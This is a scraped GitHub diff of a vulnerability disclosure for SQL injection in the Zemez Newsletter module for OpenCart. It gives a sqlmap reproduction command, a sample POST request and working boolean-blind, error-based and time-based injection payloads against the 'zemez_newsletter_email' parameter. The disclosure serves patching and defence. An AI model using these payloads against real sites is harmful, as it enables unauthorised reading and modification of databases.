You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository was archived by the owner on Nov 28, 2022. It is now read-only.
Newsletter Module is compatible with any Opencart allows SQL Injection via parameter 'zemez_newsletter_email' in /index.php?route=extension/module/zemez_newsletter/addNewsletter.
14
+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
15
+
16
+
17
+
* Steps to Reproduce :
18
+
- Go to : http://127.0.0.1/index.php?route=extension/module/zemez_newsletter/addNewsletter
19
+
- Save request in BurpSuite
20
+
- Run saved request with : sqlmap -r sql.txt -p zemez_newsletter_email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs
21
+
22
+
23
+
24
+
Request :
25
+
26
+
===========
27
+
28
+
POST /index.php?route=extension/module/zemez_newsletter/addNewsletter HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
36
+
Connection: Keep-alive
37
+
38
+
zemez_newsletter_email=saud
39
+
40
+
41
+
===========
42
+
43
+
Output :
44
+
45
+
Parameter: zemez_newsletter_email (POST)
46
+
Type: boolean-based blind
47
+
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
48
+
Payload: zemez_newsletter_email=saud%' AND 4728=(SELECT (CASE WHEN (4728=4728) THEN 4728 ELSE (SELECT 4929 UNION SELECT 7220) END))-- -
49
+
50
+
Type: error-based
51
+
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
52
+
Payload: zemez_newsletter_email=saud%' OR (SELECT 4303 FROM(SELECT COUNT(*),CONCAT(0x716a6b7171,(SELECT (ELT(4303=4303,1))),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'xlVz%'='xlVz
53
+
54
+
Type: time-based blind
55
+
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
56
+
Payload: zemez_newsletter_email=saud%' AND (SELECT 5968 FROM (SELECT(SLEEP(5)))yYJX) AND 'yJkK%'='yJkK
0 commit comments